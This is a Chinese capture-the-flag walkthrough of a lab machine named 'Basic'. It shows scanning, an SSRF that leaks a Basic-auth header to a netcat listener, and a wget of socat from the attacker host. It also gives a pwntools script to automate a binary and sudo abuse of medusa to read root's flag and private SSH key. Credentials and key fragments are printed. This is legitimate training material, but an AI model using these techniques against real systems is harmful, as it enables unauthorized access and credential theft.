Basic

Nmap

```shell
[root@Hacking] /home/kali/Basic
❯ nmap 192.168.55.115 -A -p-

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: HTTP Requester
|_http-server-header: Apache/2.4.62 (Debian)
```

Token Leak

进入到80端口，可以利用的就是一个请求工具。
尝试过内网IP探测，但没有任何效果。在kali端开启nc监听。

```
[root@Hacking] /home/kali/Basic
❯ nc -lvnp 8888
listening on [any] 8888 ...
connect to [192.168.55.4] from (UNKNOWN) [192.168.55.115] 33290
GET / HTTP/1.1
Host: 192.168.55.4:8888
Accept: */*
Authorization: Basic Y25oeWs6YmNmODI5NjI3ZWVhMzY0YTNhYmM0MWE2NTM3ZmJmNTQzZTk3NGZmOA==


[root@Hacking] /home/kali/Basic
❯ echo 'Y25oeWs6YmNmODI5NjI3ZWVhMzY0YTNhYmM0MWE2NTM3ZmJmNTQzZTk3NGZmOA==' |base64 -d
cnhyk:bcf829627eea364a3abc41a6537fbf543e974ff8#
```

在http头里获取到用户凭证

JOJO

查看到/opt目录下有一个可执行文件，但是不可读。这里需要注意输入的东西不需要计算！

```
cnhyk@Basic:/opt$ ls -al
total 28
drwxr-xr-x  2 root root  4096 Jul  6 09:21 .
drwxr-xr-x 18 root root  4096 Mar 18 20:37 ..
-rwx--x--x  1 root root 17016 Jul  6 09:21 jojo
cnhyk@Basic:/opt$ ./jojo
问题 1: 请输入 70+15
70+15
正确！
问题 2: 请输入 46+34
46+34
正确！
问题 3: 请输入 63+10
^C
cnhyk@Basic:/opt$
```

way1

其实jojo用户名和密码一样。这种方式可以最先尝试。

way2

上传一个socat，将文件挂载到端口

```shell
./socat TCP-LISTEN:6666,reuseaddr,fork EXEC:/opt/jojo,pty,stderr,setsid
```

```
cnhyk@Basic:/tmp$ wget 192.168.55.4/socat
--2025-07-07 09:19:40--  http://192.168.55.4/socat
Connecting to 192.168.55.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 375176 (366K) [application/octet-stream]
Saving to: 'socat'

socat                       100%[=================================================================>] 366.38K  --.-KB/s    in 0.003s

2025-07-07 09:19:40 (143 MB/s) - 'socat' saved [375176/375176]

cnhyk@Basic:/tmp$ chmod +x socat
cnhyk@Basic:/tmp$ ./socat TCP-LISTEN:6666,reuseaddr,fork EXEC:/opt/jojo,pty,stderr,setsid
```

然后可以让AI写一个脚本

PYTHON

```python
from pwn import *
import re

r = remote("192.168.55.115", 6666)

while True:
    try:
        data = r.recv(timeout=2).decode(errors='ignore')
        print(data, end='')

        match = re.search(r"请输入\s*([\d+\-*/\s]+)", data)
        if match:
            expr = match.group(1).strip()
            r.sendline(expr.encode())
    except EOFError:
        print("[*] Connection closed.")
        break
```

```
55+54
正确！
问题 499: 请输入 98+47
98+47
正确！
问题 500: 请输入 80+29
80+29
正确！
jojo:jojo
[*] Connection closed.
[*] Closed connection to 192.168.55.115 port 6666

[root@Hacking] /home/kali/Basic
❯
```

Root

查看sudo

```shell
jojo@Basic:/tmp$ sudo -l
Matching Defaults entries for jojo on Basic:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bi
n

User jojo may run the following commands on Basic:
    (ALL) NOPASSWD: /usr/bin/medusa

jojo@Basic:/tmp$ sudo /usr/bin/medusa
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks
<jmk@foofus.net>

ALERT: Host information must be supplied.

Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file]
[-C file] -M module [OPT]
  -h [TEXT]    : Target hostname or IP address
  -H [FILE]    : File containing target hostnames or IP addresses
  -u [TEXT]    : Username to test
  -U [FILE]    : File containing usernames to test
  -p [TEXT]    : Password to test
  -P [FILE]    : File containing passwords to test
  -C [FILE]    : File containing combo entries. See README for more
information.
  -O [FILE]    : File to append log information to
  -e [n/s/ns]  : Additional password checks ([n] No Password, [s] Password =
Username)
  -M [TEXT]    : Name of the module to execute (without the .mod extension)
  -m [TEXT]    : Parameter to pass to the module. This can be passed
multiple times with a
                 different parameter each time and they will all be sent to
the module (i.e.
                 -m Param1 -m Param2, etc.)
  -d           : Dump all known modules
  -n [NUM]     : Use for non-default TCP port number
  -s           : Enable SSL
  -g [NUM]     : Give up after trying to connect for NUM seconds (default 3)
  -r [NUM]     : Sleep NUM seconds between retry attempts (default 3)
  -R [NUM]     : Attempt NUM retries before giving up. The total number of
attempts will be NUM + 1.
  -c [NUM]     : Time to wait in usec to verify socket is available (default
500 usec).
  -t [NUM]     : Total number of logins to be tested concurrently
  -T [NUM]     : Total number of hosts to be tested concurrently
  -L           : Parallelize logins using one username per thread. The
default is to process
```

```
                the entire username before proceeding.
  -f            : Stop scanning host after first valid username/password
found.
  -F            : Stop audit after first valid username/password found on any
host.
  -b            : Suppress startup banner
  -q            : Display module's usage information
  -v [NUM]      : Verbose level [0 - 6 (more)]
  -w [NUM]      : Error debug level [0 - 10 (more)]
  -V            : Display version
  -Z [TEXT]     : Resume scan based on map of previous scan
```

实际上是一个爆破工具，这里可以通过指定爆破字典，设置详细参数，可以直接将字典内容输出到终端。
先来读个flag吧

SHELL

```
sudo medusa -h 127.0.0.1 -u root -P /root/root.txt -M ssh -v
```

```
jojo@Basic:/tmp$ sudo medusa -h 127.0.0.1 -u root -P /root/root.txt -M ssh -v 6
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

GENERAL: Parallel Hosts: 1 Parallel Logins: 1
GENERAL: Total Hosts: 1
GENERAL: Total Users: 1
GENERAL: Total Passwords: 1
ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: flag{root-c065860911bb44a2483c096cbd203df9}
(1 of 1 complete)
GENERAL: Medusa has finished.
```

尝试进行读取root的私钥

SHELL

```
sudo medusa -h 127.0.0.1 -u root -P /root/.ssh/id_rsa -M ssh -v 6
```

```
jojo@Basic:/tmp$ sudo medusa -h 127.0.0.1 -u root -P /root/.ssh/id_rsa -M ssh -v 6 -O /tmp/logs
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

GENERAL: Parallel Hosts: 1 Parallel Logins: 1
GENERAL: Total Hosts: 1
GENERAL: Total Users: 1
GENERAL: Total Passwords: 38
ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: -----BEGIN OPENSSH PRIVATE KEY----- (1 of 38
 complete)
ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAA
AAAAAAABAAABlwAAAAdzc2gtcn (2 of 38 complete)
ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: NhAAAAAwEAAQAAAYEAuo7fDpWRyh52wo83HNHA5DwnBT
Ex1Y/hs7jnh5GCIBMxK9kg0A9d (3 of 38 complete)
ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: aKHnmsDfnG22fr9ZB3XGDJjZpg86E4MGmzXAQ2FMZfcy
0vJ90CIQ4kKrvzj2XvWpu+BkMZ (4 of 38 complete)
ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: ibARGcZa0hzOk+RtbFnWGWWOUx0cTtNiEEWx3v43k8EL
G1guQ4PU0jIlV6D70F2R9P6tfn (5 of 38 complete)
ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: BOxr88YSnSsQu0RErnfg+TR2Vs1EGBpC2vY9yhQOn2X3
XeCL2ewznq21DLojMkeW/1lyPn (6 of 38 complete)
ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: j/isRTkYXToi+qG+B5KheUtJSGcXb9YMDM4kbCJ0EzRY
2lkcZ8Lu8c+6Xyr46nzCKLcx4l (7 of 38 complete)
ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: o13VHNraz6nA1gZZJCOhsaX8h7qdDp4bFFAkDEsIEdWJ
n3oygQ6HuddXfqlJ+lxw6+ANRw (8 of 38 complete)
ACCOUNT CHECK: [ssh] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: jeGQoLCKj1ut0y5AbFmXvNY+DqaFiQr1YbvuWfm7L2l5
3ca3HMkK0HytG0o7VzAkyLGUpZ (9 of 38 complete)
```

手动复制输出，然后提取密钥那一列就行了

```shell
sed -n 's/.*Password: \(.*\) (.*/\1/p' id_rsa > key_part.txt
```

设置密钥权限，然后可以登录

```
8Gavf8rssqD8+ZcHr/bAPSlfxY9Q+5L6FKAdKl7x70qNiYp7btyAuGFWKfn+lH4sSFCVBA
MSDsXSQvL5bB6CGFLASboZJLNYO+0iYJ5nGZch+B3HQQ+sk52A3ipR5Om1Trk+ZelV5iH7
uMDrSz1Co+0ozDPmfvo9PGrttYqmPpaQAAAMEA1fVTHfJmX8vv4IGthLzeWaosc90bjiMY
70FX+KImdoi26V61rccY2IBL6X4KffrL1jTuET12czbwGgZh3KpHbFrXNsc/jxV+sUKVJa
aKLFd+UNjg756RvevzBMXr5c9ewE6hcdNiwKDBxkBqSbuiBr+oeSMg0G4ppwCGg+G0lBd/
ltoRV5MXeIxoYZ6B/jrAbc/Y9kQZ0ozcoSe3zMViGiY++TQf2TPkhiBvu8bRY4vy19nl1c
mM/HtQ/t5mUZnzAAAACnJvb3RAQmFzaWM=
-----END OPENSSH PRIVATE KEY-----

[root@Hacking] /home/kali/Basic
❯ chmod 600 key_part.txt

[root@Hacking] /home/kali/Basic
❯ ssh -i key_part.txt root@192.168.55.115
Linux Basic 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jul  6 08:23:47 2025 from 192.168.3.94
root@Basic:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Basic:~#
```